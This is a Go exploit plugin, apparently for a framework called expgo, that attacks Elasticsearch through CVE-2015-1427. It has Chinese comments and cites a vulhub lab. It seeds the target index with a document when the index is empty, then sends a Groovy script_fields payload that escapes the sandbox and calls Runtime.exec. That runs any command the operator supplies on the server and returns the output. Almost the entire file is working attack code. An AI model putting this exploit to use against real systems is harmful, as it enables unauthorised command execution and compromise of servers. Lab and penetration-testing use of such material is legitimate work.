CVE-2015-1427

package CVE_2015_1427

import (
    "context"
    "expgo/plugins/api/req"
    "expgo/plugins/api/types"
    "expgo/plugins/api/util"
    "fmt"
    "net/url"
    "strconv"

    "log"

    "github.com/tidwall/gjson"
)

var (
    pluginType  = "custom"
    vulType     = "rce"
    name        = "CVE-2015-1427"
    component   = "elasticsearch"
    author      = "akkuman"
    description = "CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞:1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。"
    references  = []string{
        "https://github.com/vulhub/vulhub/blob/master/elasticsearch/CVE-2015-1427/README.md",
    }
    tags = []string{
        "elasticsearch",
        "rce",
    }
)

var opts = types.NewOptions()

func init() {
    opts.String("target", true, "目标", "", func(i interface{}) bool {
        target := i.(string)
        _, err := url.Parse(target)
        return err == nil
    })
    opts.String("cmd", true, "执行命令", "id")
}

// preprocess 查询时至少要求es中有一条数据才能触发, proprecess 保证这个条件成立
func preprocess(c *req.Client, target string) error {
    var result struct {
        Hits struct {
            Total int64 `json:"total"`
        } `json:"hits"`
    }
    resp, err := c.R().
        SetResult(&result).
        SetBody(map[string]interface{}{
            "size": 1,
        }).
        Post(util.URLJoin(target, "/_search"))
    if err != nil {
        return err
    }

    if resp.StatusCode() != 200 {
        return fmt.Errorf("文档数量请求失败")
    }
    if result.Hits.Total != 0 {
        return nil
    }
    // 文档数量为0,创建文档
    resp, err = c.R().
        SetBody(map[string]interface{}{
            "name": "test",
        }).
        Post(util.URLJoin(target, "/website/blog/"))
    if err != nil {
        return err
    }
    if resp.StatusCode() != 201 {
        return fmt.Errorf("添加文档失败")
    }
    return nil
}

func exploit(ctx context.Context, params map[string]interface{}) types.PluginResult {
    target := params["target"].(string)
    cmd := params["cmd"].(string)

    c := req.NewHttpClient(ctx)

    log.Println("检查es中的文档数量是否至少有一条")
    err := preprocess(c, target)
    if err != nil {
        log.Println(err)
        return types.MissPluginResult
    }
    log.Println("检查完成")

    log.Println("准备执行命令")
    fieldName := util.GetUUID()
    resp, err := c.R().
        SetBody(map[string]interface{}{
            "size": 1,
            "script_fields": map[string]interface{}{
                fieldName: map[string]interface{}{
                    "lang":   "groovy",
                    "script": fmt.Sprintf(`java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(%s).getText()`, strconv.Quote(cmd)),
                },
            },
        }).
        Post(util.URLJoin(target, "/_search"))
    if err != nil {
        log.Println(err)
        return types.MissPluginResult
    }
    if resp.StatusCode() != 200 {
        log.Println("执行失败")
        return types.MissPluginResult
    }
    output := gjson.GetBytes(resp.Body(), fmt.Sprintf("hits.hits.0.fields.%s.0", fieldName)).String()
    log.Printf("命令执行结果: %s", output)
    return types.PluginResult{
        ExtendInfo: map[string]interface{}{
            "data": output,
        },
        Success: true,
    }
}
回到页面顶部